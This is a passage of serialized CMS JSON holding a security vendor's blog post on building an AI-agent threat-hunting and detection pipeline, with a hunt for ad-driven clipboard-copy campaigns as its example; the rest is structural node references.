crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives. ",{"data":34117,"content":34118,"nodeType":866},{},[34119],{"data":34120,"marks":34121,"value":34122,"nodeType":865},{},[],"The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.",{"data":34124,"content":34125,"nodeType":866},{},[34126],{"data":34127,"marks":34128,"value":34129,"nodeType":865},{},[],"Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.",{"data":34131,"content":34132,"nodeType":1317},{},[34133],{"data":34134,"marks":34135,"value":34137,"nodeType":865},{},[34136],{"type":926},"Example 2: Human-initiated threat hunt",{"data":34139,"content":34140,"nodeType":866},{},[34141],{"data":34142,"marks":34143,"value":34144,"nodeType":865},{},[],"Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.",{"data":34146,"content":34147,"nodeType":866},{},[34148,34152,34157,34160,34165,34168,34173],{"data":34149,"marks":34150,"value":34151,"nodeType":865},{},[],"Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore ads will be expected to redirect to pages hosted on custom domains, not shared domains like ",{"data":34153,"marks":34154,"value":34156,"nodeType":865},{},[34155],{"type":926},"*pages.dev",{"data":34158,"marks":34159,"value":2717,"nodeType":865},{},[],{"data":34161,"marks":34162,"value":34164,"nodeType":865},{},[34163],{"type":926},"*workers.dev",{"data":34166,"marks":34167,"value":2717,"nodeType":865},{},[],{"data":34169,"marks":34170,"value":34172,"nodeType":865},{},[34171],{"type":926},"*squarespace.com",{"data":34174,"marks":34175,"value":34176,"nodeType":865},{},[],", etc.",{"data":34178,"content":34179,"nodeType":866},{},[34180],{"data":34181,"marks":34182,"value":34183,"nodeType":865},{},[],"Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.",{"data":34185,"content":34186,"nodeType":866},{},[34187],{"data":34188,"marks":34189,"value":34190,"nodeType":865},{},[],"The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.",{"data":34192,"content":34196,"nodeType":912},{"target":34193},{"sys":34194},{"id":34195,"type":909,"linkType":910},"4IWOrWuvbwzWRJUkINiwKH",[],{"data":34198,"content":34199,"nodeType":866},{},[34200],{"data":34201,"marks":34202,"value":34203,"nodeType":865},{},[],"We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.",{"data":34205,"content":34206,"nodeType":1317},{},[34207],{"data":34208,"marks":34209,"value":34211,"nodeType":865},{},[34210],{"type":926},"What infrastructure is needed for agentic threat hunting?",{"data":34213,"content":34214,"nodeType":866},{},[34215],{"data":34216,"marks":34217,"value":34218,"nodeType":865},{},[],"Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:",{"data":34220,"content":34221,"nodeType":1616},{},[34222,34237,34252,34267,34282],{"data":34223,"content":34224,"nodeType":1570},{},[34225],{"data":34226,"content":34227,"nodeType":866},{},[34228,34233],{"data":34229,"marks":34230,"value":34232,"nodeType":865},{},[34231],{"type":926},"A flight recorder: ",{"data":34234,"marks":34235,"value":34236,"nodeType":865},{},[],"The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.",{"data":34238,"content":34239,"nodeType":1570},{},[34240],{"data":34241,"content":34242,"nodeType":866},{},[34243,34248],{"data":34244,"marks":34245,"value":34247,"nodeType":865},{},[34246],{"type":926},"A knowledge base:",{"data":34249,"marks":34250,"value":34251,"nodeType":865},{},[]," Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack trends.",{"data":34253,"content":34254,"nodeType":1570},{},[34255],{"data":34256,"content":34257,"nodeType":866},{},[34258,34263],{"data":34259,"marks":34260,"value":34262,"nodeType":865},{},[34261],{"type":926},"Agents as tools: ",{"data":34264,"marks":34265,"value":34266,"nodeType":865},{},[],"Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.",{"data":34268,"content":34269,"nodeType":1570},{},[34270],{"data":34271,"content":34272,"nodeType":866},{},[34273,34278],{"data":34274,"marks":34275,"value":34277,"nodeType":865},{},[34276],{"type":926},"Humans in the loop: ",{"data":34279,"marks":34280,"value":34281,"nodeType":865},{},[],"Human researchers who collaborate with agents to initiate hunts and tune detections.",{"data":34283,"content":34284,"nodeType":1570},{},[34285],{"data":34286,"content":34287,"nodeType":866},{},[34288,34293],{"data":34289,"marks":34290,"value":34292,"nodeType":865},{},[34291],{"type":926},"Platform controls: ",{"data":34294,"marks":34295,"value":34296,"nodeType":865},{},[],"The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.",{"data":34298,"content":34302,"nodeType":912},{"target":34299},{"sys":34300},{"id":34301,"type":909,"linkType":910},"7FY0vCBUXOt4vnudFuKALC",[],{"data":34304,"content":34305,"nodeType":1317},{},[34306],{"data":34307,"marks":34308,"value":34310,"nodeType":865},{},[34309],{"type":926},"What are the best practices for agentic threat detection?",{"data":34312,"content":34313,"nodeType":866},{},[34314,34318,34323],{"data":34315,"marks":34316,"value":34317,"nodeType":865},{},[],"To be effective, agents must specialize and focus. This is the ",{"data":34319,"marks":34320,"value":34322,"nodeType":865},{},[34321],{"type":926},"agents as tools",{"data":34324,"marks":34325,"value":34326,"nodeType":865},{},[]," concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.",{"data":34328,"content":34329,"nodeType":866},{},[34330],{"data":34331,"marks":34332,"value":34333,"nodeType":865},{},[],"Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.",{"data":34335,"content":34339,"nodeType":912},{"target":34336},{"sys":34337},{"id":34338,"type":909,"linkType":910},"3fzJCknMUmh4Z7YnhBSbsT",[],{"data":34341,"content":34342,"nodeType":866},{},[34343],{"data":34344,"marks":34345,"value":34346,"nodeType":865},{},[],"Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents. ",{"data":34348,"content":34349,"nodeType":866},{},[34350,34354,34359],{"data":34351,"marks":34352,"value":34353,"nodeType":865},{},[],"It's vital too that the agent uses ",{"data":34355,"marks":34356,"value":34358,"nodeType":865},{},[34357],{"type":926},"privacy-preserving methods and infrastructure.",{"data":34360,"marks":34361,"value":34362,"nodeType":865},{},[]," The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.",{"data":34364,"content":34365,"nodeType":972},{},[],{"data":34367,"content":34368,"nodeType":981},{},[34369],{"data":34370,"marks":34371,"value":34373,"nodeType":865},{},[34372],{"type":926},"The compounding effect and how it benefits Push customers",{"data":34375,"content":34376,"nodeType":866},{},[34377],{"data":34378,"marks":34379,"value":34380,"nodeType":865},{},[],"At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections. ",{"data":34382,"content":34383,"nodeType":866},{},[34384],{"data":34385,"marks":34386,"value":34387,"nodeType":865},{},[],"The outer loop feeds the inner loop, and vice versa.",{"data":34389,"content":34393,"nodeType":912},{"target":34390},{"sys":34391},{"id":34392,"type":909,"linkType":910},"1Jjqll7IIX2QRxN37gjFMH",[],{"data":34395,"content":34396,"nodeType":866},{},[34397],{"data":34398,"marks":34399,"value":34400,"nodeType":865},{},[],"Customers benefit from this approach because it means they:",{"data":34402,"content":34403,"nodeType":1616},{},[34404,34426,34436],{"data":34405,"content":34406,"nodeType":1570},{},[34407],{"data":34408,"content":34409,"nodeType":866},{},[34410,34414,34422],{"data":34411,"marks":34412,"value":34413,"nodeType":865},{},[],"Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own ",{"data":34415,"content":34417,"nodeType":889},{"uri":34416},"/help/audience/engineering/resources/custom-detections",[34418],{"data":34419,"marks":34420,"value":34421,"nodeType":865},{},[],"custom detections",{"data":34423,"marks":34424,"value":34425,"nodeType":865},{},[],", too, for environment-specific use cases.)",{"data":34427,"content":34428,"nodeType":1570},{},[34429],{"data":34430,"content":34431,"nodeType":866},{},[34432],{"data":34433,"marks":34434,"value":34435,"nodeType":865},{},[],"Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.",{"data":34437,"content":34438,"nodeType":1570},{},[34439],{"data":34440,"content":34441,"nodeType":866},{},[34442],{"data":34443,"marks":34444,"value":34445,"nodeType":865},{},[],"Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.",{"data":34447,"content":34448,"nodeType":866},{},[34449],{"data":34450,"marks":34451,"value":34452,"nodeType":865},{},[],"This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.",{"data":34454,"content":34455,"nodeType":866},{},[34456],{"data":34457,"marks":34458,"value":34459,"nodeType":865},{},[],"If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others. ",{"data":34461,"content":34462,"nodeType":866},{},[34463],{"data":34464,"marks":34465,"value":34466,"nodeType":865},{},[],"If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.",{"data":34468,"content":34472,"nodeType":912},{"target":34469},{"sys":34470},{"id":34471,"type":909,"linkType":910},"607jrBjlD1vtcbkDfD04DE",[],{"data":34474,"content":34475,"nodeType":972},{},[],{"data":34477,"content":34478,"nodeType":981},{},[34479],{"data":34480,"marks":34481,"value":34483,"nodeType":865},{},[34482],{"type":926},"Learn more",{"data":34485,"content":34486,"nodeType":866},{},[34487],{"data":34488,"marks":34489,"value":1356,"nodeType":865},{},[],{"data":34491,"content":34492,"nodeType":866},{},[34493],{"data":34494,"marks":34495,"value":1363,"nodeType":865},{},[],{"data":34497,"content":34498,"nodeType":866},{},[34499,34502,34509],{"data":34500,"marks":34501,"value":2290,"nodeType":865},{},[],{"data":34503,"content":34505,"nodeType":889},{"uri":34504},"/demo",[34506],{"data":34507,"marks":34508,"value":2298,"nodeType":865},{},[],{"data":34510,"marks":34511,"value":2302,"nodeType":865},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline","How we built an end-to-end threat hunting and detection engineering capability at Push that uses AI agents as a force multiplier.","2026-05-12T00:00:00.000Z","can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"items":34517},[34518,34520],{"sys":34519,"name":7796},{"id":7795},{"sys":34521,"name":342},{"id":4642},{"items":34523},[34524],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":34525},{"url":6503},{"__typename":1429,"sys":34527,"content":34528,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":35349,"authorsCollection":35355},{"id":15406},{"json":34529},{"data":34530,"content":34531,"nodeType":1382},{},[34532,34554,34578,34611,34644,34649,34659,34662,34669,34711,34717,34736,34741,34744,34751,34775,34781,34788,34793,34796,34803,34809,34824,34830,34863,34869,34872,34879,34894,34936,34939,34946,34961,34976,34983,34989,34999,35009,35019,35029,35044,35051,35057,35060,35066,35072,35087,35090,35097,35112,35343],{"data":34533,"content":34534,"nodeType":866},{},[34535,34538,34544,34547,34551],{"data":34536,"marks":34537,"value":15417,"nodeType":865},{},[],{"data":34539,"content":34540,"nodeType":889},{"uri":4991},[34541],{"data":34542,"marks":34543,"value":8673,"nodeType":865},{},[],{"data":34545,"marks":34546,"value":15427,"nodeType":865},{},[],{"data":34548,"marks":34549,"value":15432,"nodeType":865},{},[34550],{"type":926},{"data":34552,"marks":34553,"value":15436,"nodeType":865},{},[],{"data":34555,"content":34556,"nodeType":866},{},[34557,34560,34566,34569,34575],{"data":34558,"marks":34559,"value":15443,"nodeType":865},{},[],{"data":34561,"content":34562,"nodeType":889},{"uri":15446},[34563],{"data":34564,"marks":34565,"value":15451,"nodeType":865},{},[],{"data":34567,"marks":34568,"value":15455,"nodeType":865},{},[],{"data":34570,"content":34571,"nodeType":889},{"uri":15458},[34572],{"data":34573,"marks":34574,"value":15463,"nodeType":865},{},[],{"data":34576,"marks":34577,"value":15467,"nodeType":865},{},[],{"data":34579,"content":34580,"nodeType":866},{},[34581,34584,34590,34593,34599,34602,34608],{"data":34582,"marks":34583,"value":15474,"nodeType":865},{},[],{"data":34585,"content":34586,"nodeType":889},{"uri":15477},[34587],{"data":34588,"marks":34589,"value":15482,"nodeType":865},{},[],{"data":34591,"marks":34592,"value":15486,"nodeType":865},{},[],{"data":34594,"content":34595,"nodeType":889},{"uri":15489},[34596],{"data":34597,"marks":34598,"value":15494,"nodeType":865},{},[],{"data":34600,"marks":34601,"value":15498,"nodeType":865},{},[],{"data":34603,"content":34604,"nodeType":889},{"uri":15501},[34605],{"data":34606,"marks":34607,"value":15506,"nodeType":865},{},[],{"data":34609,"marks":34610,"value":15510,"nodeType":865},{},[],{"data":34612,"content":34613,"nodeType":866},{},[34614,34617,34623,34626,34632,34635,34641],{"data":34615,"marks":34616,"value":15517,"nodeType":865},{},[],{"data":34618,"content":34619,"nodeType":889},{"uri":15520},[34620],{"data":34621,"marks":34622,"value":15525,"nodeType":865},{},[],{"data":34624,"marks":34625,"value":15529,"nodeType":865},{},[],{"data":34627,"content":34628,"nodeType":889},{"uri":15532},[34629],{"data":34630,"marks":34631,"value":15537,"nodeType":865},{},[],{"data":34633,"marks":34634,"value":15541,"nodeType":865},{},[],{"data":34636,"content":34637,"nodeType":889},{"uri":15544},[34638],{"data":34639,"marks":34640,"value":15549,"nodeType":865},{},[],{"data":34642,"marks":34643,"value":15553,"nodeType":865},{},[],{"data":34645,"content":34648,"nodeType":912},{"target":34646},{"sys":34647},{"id":15558,"type":909,"linkType":910},[],{"data":34650,"content":34651,"nodeType":866},{},[34652,34656],{"data":34653,"marks":34654,"value":15567,"nodeType":865},{},[34655],{"type":926},{"data":34657,"marks":34658,"value":15571,"nodeType":865},{},[],{"data":34660,"content":34661,"nodeType":972},{},[],{"data":34663,"content":34664,"nodeType":981},{},[34665],{"data":34666,"marks":34667,"value":15582,"nodeType":865},{},[34668],{"type":926},{"data":34670,"content":34671,"nodeType":866},{},[34672,34675,34681,34684,34690,34693,34699,34702,34708],{"data":34673,"marks":34674,"value":15589,"nodeType":865},{},[],{"data":34676,"content":34677,"nodeType":889},{"uri":15592},[34678],{"data":34679,"marks":34680,"value":15597,"nodeType":865},{},[],{"data":34682,"marks":34683,"value":14216,"nodeType":865},{},[],{"data":34685,"content":34686,"nodeType":889},{"uri":15603},[34687],{"data":34688,"marks":34689,"value":15608,"nodeType":865},{},[],{"data":34691,"marks":34692,"value":14629,"nodeType":865},{},[],{"data":34694,"content":34695,"nodeType":889},{"uri":15489},[34696],{"data":34697,"marks":34698,"value":15618,"nodeType":865},{},[],{"data":34700,"marks":34701,"value":15622,"nodeType":865},{},[],{"data":34703,"content":34704,"nodeType":889},{"uri":13633},[34705],{"data":34706,"marks":34707,"value":15629,"nodeType":865},{},[],{"data":34709,"marks":34710,"value":1615,"nodeType":865},{},[],{"data":34712,"content":34713,"nodeType":866},{},[34714],{"data":34715,"marks":34716,"value":15639,"nodeType":865},{},[],{"data":34718,"content":34719,"nodeType":866},{},[34720,34723,34729,34732],{"data":34721,"marks":34722,"value":15646,"nodeType":865},{},[],{"data":34724,"content":34725,"nodeType":889},{"uri":13633},[34726],{"data":34727,"marks":34728,"value":15653,"nodeType":865},{},[],{"data":34730,"marks":34731,"value":15657,"nodeType":865},{},[],{"data":34733,"marks":34734,"value":15662,"nodeType":865},{},[34735],{"type":926},{"data":34737,"content":34740,"nodeType":912},{"target":34738},{"sys":34739},{"id":15667,"type":909,"linkType":910},[],{"data":34742,"content":34743,"nodeType":972},{},[],{"data":34745,"content":34746,"nodeType":981},{},[34747],{"data":34748,"marks":34749,"value":15679,"nodeType":865},{},[34750],{"type":926},{"data":34752,"content":34753,"nodeType":866},{},[34754,34757,34763,34766,34772],{"data":34755,"marks":34756,"value":1449,"nodeType":865},{},[],{"data":34758,"content":34759,"nodeType":889},{"uri":13013},[34760],{"data":34761,"marks":34762,"value":15692,"nodeType":865},{},[],{"data":34764,"marks":34765,"value":15696,"nodeType":865},{},[],{"data":34767,"content":34768,"nodeType":889},{"uri":15501},[34769],{"data":34770,"marks":34771,"value":15703,"nodeType":865},{},[],{"data":34773,"marks":34774,"value":15707,"nodeType":865},{},[],{"data":34776,"content":34777,"nodeType":866},{},[34778],{"data":34779,"marks":34780,"value":15714,"nodeType":865},{},[],{"data":34782,"content":34783,"nodeType":866},{},[34784],{"data":34785,"marks":34786,"value":15722,"nodeType":865},{},[34787],{"type":926},{"data":34789,"content":34792,"nodeType":912},{"target":34790},{"sys":34791},{"id":15727,"type":909,"linkType":910},[],{"data":34794,"content":34795,"nodeType":972},{},[],{"data":34797,"content":34798,"nodeType":981},{},[34799],{"data":34800,"marks":34801,"value":15739,"nodeType":865},{},[34802],{"type":926},{"data":34804,"content":34805,"nodeType":866},{},[34806],{"data":34807,"marks":34808,"value":15746,"nodeType":865},{},[],{"data":34810,"content":34811,"nodeType":866},{},[34812,34815,34821],{"data":34813,"marks":34814,"value":1449,"nodeType":865},{},[],{"data":34816,"content":34817,"nodeType":889},{"uri":15755},[34818],{"data":34819,"marks":34820,"value":15760,"nodeType":865},{},[],{"data":34822,"marks":34823,"value":15764,"nodeType":865},{},[],{"data":34825,"content":34826,"nodeType":866},{},[34827],{"data":34828,"marks":34829,"value":15771,"nodeType":865},{},[],{"data":34831,"content":34832,"nodeType":866},{},[34833,34836,34842,34845,34851,34854,34860],{"data":34834,"marks":34835,"value":15778,"nodeType":865},{},[],{"data":34837,"content":34838,"nodeType":889},{"uri":15781},[34839],{"data":34840,"marks":34841,"value":15786,"nodeType":865},{},[],{"data":34843,"marks":34844,"value":15790,"nodeType":865},{},[],{"data":34846,"content":34847,"nodeType":889},{"uri":15793},[34848],{"data":34849,"marks":34850,"value":15798,"nodeType":865},{},[],{"data":34852,"marks":34853,"value":15802,"nodeType":865},{},[],{"data":34855,"content":34856,"nodeType":889},{"uri":3841},[34857],{"data":34858,"marks":34859,"value":15809,"nodeType":865},{},[],{"data":34861,"marks":34862,"value":15813,"nodeType":865},{},[],{"data":34864,"content":34865,"nodeType":866},{},[34866],{"data":34867,"marks":34868,"value":15820,"nodeType":865},{},[],{"data":34870,"content":34871,"nodeType":972},{},[],{"data":34873,"content":34874,"nodeType":981},{},[34875],{"data":34876,"marks":34877,"value":15831,"nodeType":865},{},[34878],{"type":926},{"data":34880,"content":34881,"nodeType":866},{},[34882,34885,34891],{"data":34883,"marks":34884,"value":15838,"nodeType":865},{},[],{"data":34886,"content":34887,"nodeType":889},{"uri":15841},[34888],{"data":34889,"marks":34890,"value":15846,"nodeType":865},{},[],{"data":34892,"marks":34893,"value":15850,"nodeType":865},{},[],{"data":34895,"content":34896,"nodeType":866},{},[34897,34900,34906,34909,34915,34918,34924,34927,34933],{"data":34898,"marks":34899,"value":15857,"nodeType":865},{},[],{"data":34901,"content":34902,"nodeType":889},{"uri":15860},[34903],{"data":34904,"marks":34905,"value":15865,"nodeType":865},{},[],{"data":34907,"marks":34908,"value":15869,"nodeType":865},{},[],{"data":34910,"content":34911,"nodeType":889},{"uri":15872},[34912],{"data":34913,"marks":34914,"value":15877,"nodeType":865},{},[],{"data":34916,"marks":34917,"value":15881,"nodeType":865},{},[],{"data":34919,"content":34920,"nodeType":889},{"uri":15884},[34921],{"data":34922,"marks":34923,"value":15889,"nodeType":865},{},[],{"data":34925,"marks":34926,"value":15893,"nodeType":865},{},[],{"data":34928,"content":34929,"nodeType":889},{"uri":15896},[34930],{"data":34931,"marks":34932,"value":15901,"nodeType":865},{},[],{"data":34934,"marks":34935,"value":15905,"nodeType":865},{},[],{"data":34937,"content":34938,"nodeType":972},{},[],{"data":34940,"content":34941,"nodeType":981},{},[34942],{"data":34943,"marks":34944,"value":15916,"nodeType":865},{},[34945],{"type":926},{"data":34947,"content":34948,"nodeType":866},{},[34949,34952,34958],{"data":34950,"marks":34951,"value":15923,"nodeType":865},{},[],{"data":34953,"content":34954,"nodeType":889},{"uri":1951},[34955],{"data":34956,"marks":34957,"value":15930,"nodeType":865},{},[],{"data":34959,"marks":34960,"value":15934,"nodeType":865},{},[],{"data":34962,"content":34963,"nodeType":866},{},[34964,34967,34973],{"data":34965,"marks":34966,"value":15941,"nodeType":865},{},[],{"data":34968,"content":34969,"nodeType":889},{"uri":15944},[34970],{"data":34971,"marks":34972,"value":315,"nodeType":865},{},[],{"data":34974,"marks":34975,"value":15952,"nodeType":865},{},[],{"data":34977,"content":34978,"nodeType":1317},{},[34979],{"data":34980,"marks":34981,"value":6331,"nodeType":865},{},[34982],{"type":926},{"data":34984,"content":34985,"nodeType":866},{},[34986],{"data":34987,"marks":34988,"value":15966,"nodeType":865},{},[],{"data":34990,"content":34991,"nodeType":866},{},[34992,34996],{"data":34993,"marks":34994,"value":15974,"nodeType":865},{},[34995],{"type":926},{"data":34997,"marks":34998,"value":15978,"nodeType":865},{},[],{"data":35000,"content":35001,"nodeType":866},{},[35002,35006],{"data":35003,"marks":35004,"value":15986,"nodeType":865},{},[35005],{"type":926},{"data":35007,"marks":35008,"value":15990,"nodeType":865},{},[],{"data":35010,"content":35011,"nodeType":866},{},[35012,35016],{"data":35013,"marks":35014,"value":15998,"nodeType":865},{},[35015],{"type":926},{"data":35017,"marks":35018,"value":16002,"nodeType":865},{},[],{"data":35020,"content":35021,"nodeType":866},{},[35022,35026],{"data":35023,"marks":35024,"value":16010,"nodeType":865},{},[35025],{"type":926},{"data":35027,"marks":35028,"value":16014,"nodeType":865},{},[],{"data":35030,"content":35031,"nodeType":866},{},[35032,35035,35041],{"data":35033,"marks":35034,"value":21,"nodeType":865},{},[],{"data":35036,"content":35037,"nodeType":889},{"uri":1256},[35038],{"data":35039,"marks":35040,"value":16027,"nodeType":865},{},[],{"data":35042,"marks":35043,"value":21,"nodeType":865},{},[],{"data":35045,"content":35046,"nodeType":1317},{},[35047],{"data":35048,"marks":35049,"value":16038,"nodeType":865},{},[35050],{"type":926},{"data":35052,"content":35053,"nodeType":866},{},[35054],{"data":35055,"marks":35056,"value":16045,"nodeType":865},{},[],{"data":35058,"content":35059,"nodeType":972},{},[],{"data":35061,"content":35062,"nodeType":866},{},[35063],{"data":35064,"marks":35065,"value":4591,"nodeType":865},{},[],{"data":35067,"content":35068,"nodeType":866},{},[35069],{"data":35070,"marks":35071,"value":1363,"nodeType":865},{},[],{"data":35073,"content":35074,"nodeType":866},{},[35075,35078,35084],{"data":35076,"marks":35077,"value":21,"nodeType":865},{},[],{"data":35079,"content":35080,"nodeType":889},{"uri":16069},[35081],{"data":35082,"marks":35083,"value":1378,"nodeType":865},{},[],{"data":35085,"marks":35086,"value":21,"nodeType":865},{},[],{"data":35088,"content":35089,"nodeType":972},{},[],{"data":35091,"content":35092,"nodeType":981},{},[35093],{"data":35094,"marks":35095,"value":16087,"nodeType":865},{},[35096],{"type":926},{"data":35098,"content":35099,"nodeType":866},{},[35100,35103,35109],{"data":35101,"marks":35102,"value":16094,"nodeType":865},{},[],{"data":35104,"content":35105,"nodeType":889},{"uri":4991},[35106],{"data":35107,"marks":35108,"value":16101,"nodeType":865},{},[],{"data":35110,"marks":35111,"value":16105,"nodeType":865},{},[],{"data":35113,"content":35114,"nodeType":2927},{},[35115,35158,35214,35257,35300],{"data":35116,"content":35117,"nodeType":2400},{},[35118,35128,35138,35148],{"data":35119,"content":35120,"nodeType":2366},{},[35121],{"data":35122,"content":35123,"nodeType":866},{},[35124],{"data":35125,"marks":35126,"value":16122,"nodeType":865},{},[35127],{"type":926},{"data":35129,"content":35130,"nodeType":2366},{},[35131],{"data":35132,"content":35133,"nodeType":866},{},[35134],{"data":35135,"marks":35136,"value":16133,"nodeType":865},{},[35137],{"type":926},{"data":35139,"content":35140,"nodeType":2366},{},[35141],{"data":35142,"content":35143,"nodeType":866},{},[35144],{"data":35145,"marks":35146,"value":16144,"nodeType":865},{},[35147],{"type":926},{"data":35149,"content":35150,"nodeType":2366},{},[35151],{"data":35152,"content":35153,"nodeType":866},{},[35154],{"data":35155,"marks":35156,"value":16155,"nodeType":865},{},[35157],{"type":926},{"data":35159,"content":35160,"nodeType":2400},{},[35161,35181,35190,35199],{"data":35162,"content":35163,"nodeType":2366},{},[35164],{"data":35165,"content":35166,"nodeType":866},{},[35167,35171,35174,35178],{"data":35168,"marks":35169,"value":16169,"nodeType":865},{},[35170],{"type":926},{"data":35172,"marks":35173,"value":16173,"nodeType":865},{},[],{"data":35175,"marks":35176,"value":16178,"nodeType":865},{},[35177],{"type":926},{"data":35179,"marks":35180,"value":16182,"nodeType":865},{},[],{"data":35182,"content":35183,"nodeType":2366},{},[35184],{"data":35185,"content":35186,"nodeType":866},{},[35187],{"data":35188,"marks":35189,"value":16192,"nodeType":865},{},[],{"data":35191,"content":35192,"nodeType":2366},{},[35193],{"data":35194,"content":35195,"nodeType":866},{},[35196],{"data":35197,"marks":35198,"value":16202,"nodeType":865},{},[],{"data":35200,"content":35201,"nodeType":2366},{},[35202,35208],{"data":35203,"content":35204,"nodeType":866},{},[35205],{"data":35206,"marks":35207,"value":16212,"nodeType":865},{},[],{"data":35209,"content":35210,"nodeType":866},{},[35211],{"data":35212,"marks":35213,"value":16219,"nodeType":865},{},[],{"data":35215,"content":35216,"nodeType":2400},{},[35217,35230,35239,35248],{"data":35218,"content":35219,"nodeType":2366},{},[35220],{"data":35221,"content":35222,"nodeType":866},{},[35223,35227],{"data":35224,"marks":35225,"value":16233,"nodeType":865},{},[35226],{"type":926},{"data":35228,"marks":35229,"value":16237,"nodeType":865},{},[],{"data":35231,"content":35232,"nodeType":2366},{},[35233],{"data":35234,"content":35235,"nodeType":866},{},[35236],{"data":35237,"marks":35238,"value":16247,"nodeType":865},{},[],{"data":35240,"content":35241,"nodeType":2366},{},[35242],{"data":35243,"content":35244,"nodeType":866},{},[35245],{"data":35246,"marks":35247,"value":16257,"nodeType":865},{},[],{"data":35249,"content":35250,"nodeType":2366},{},[35251],{"data":35252,"content":35253,"nodeType":866},{},[35254],{"data":35255,"marks":35256,"value":16267,"nodeType":865},{},[],{"data":35258,"content":35259,"nodeType":2400},{},[35260,35273,35282,35291],{"data":35261,"content":35262,"nodeType":2366},{},[35263],{"data":35264,"content":35265,"nodeType":866},{},[35266,35270],{"data":35267,"marks":35268,"value":16281,"nodeType":865},{},[35269],{"type":926},{"data":35271,"marks":35272,"value":16285,"nodeType":865},{},[],{"data":35274,"content":35275,"nodeType":2366},{},[35276],{"data":35277,"content":35278,"nodeType":866},{},[35279],{"data":35280,"marks":35281,"value":16295,"nodeType":865},{},[],{"data":35283,"content":35284,"nodeType":2366},{},[35285],{"data":35286,"content":35287,"nodeType":866},{},[35288],{"data":35289,"marks":35290,"value":16305,"nodeType":865},{},[],{"data":35292,"content":35293,"nodeType":2366},{},[35294],{"data":35295,"content":35296,"nodeType":866},{},[35297],{"data":35298,"marks":35299,"value":16315,"nodeType":865},{},[],{"data":35301,"content":35302,"nodeType":2400},{},[35303,35316,35325,35334],{"data":35304,"content":35305,"nodeType":2366},{},[35306],{"data":35307,"content":35308,"nodeType":866},{},[35309,35313],{"data":35310,"marks":35311,"value":16329,"nodeType":865},{},[35312],{"type":926},{"data":35314,"marks":35315,"value":16333,"nodeType":865},{},[],{"data":35317,"content":35318,"nodeType":2366},{},[35319],{"data":35320,"content":35321,"nodeType":866},{},[35322],{"data":35323,"marks":35324,"value":16192,"nodeType":865},{},[],{"data":35326,"content":35327,"nodeType":2366},{},[35328],{"data":35329,"content":35330,"nodeType":866},{},[35331],{"data":35332,"marks":35333,"value":16352,"nodeType":865},{},[],{"data":35335,"content":35336,"nodeType":2366},{},[35337],{"data":35338,"content":35339,"nodeType":866},{},[35340],{"data":35341,"marks":35342,"value":16362,"nodeType":865},{},[],{"data":35344,"content":35345,"nodeType":866},{},[35346],{"data":35347,"marks":35348,"value":21,"nodeType":865},{},[],{"items":35350},[35351,35353],{"sys":35352,"name":7796},{"id":7795},{"sys":35354,"name":342},{"id":4642},{"items":35356},[35357],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":35358},{"url":7804},{"__typename":1429,"sys":35360,"content":35361,"title":7015,"synopsis":7016,"hashTags":59,"publishedDate":7017,"slug":7018,"tagsCol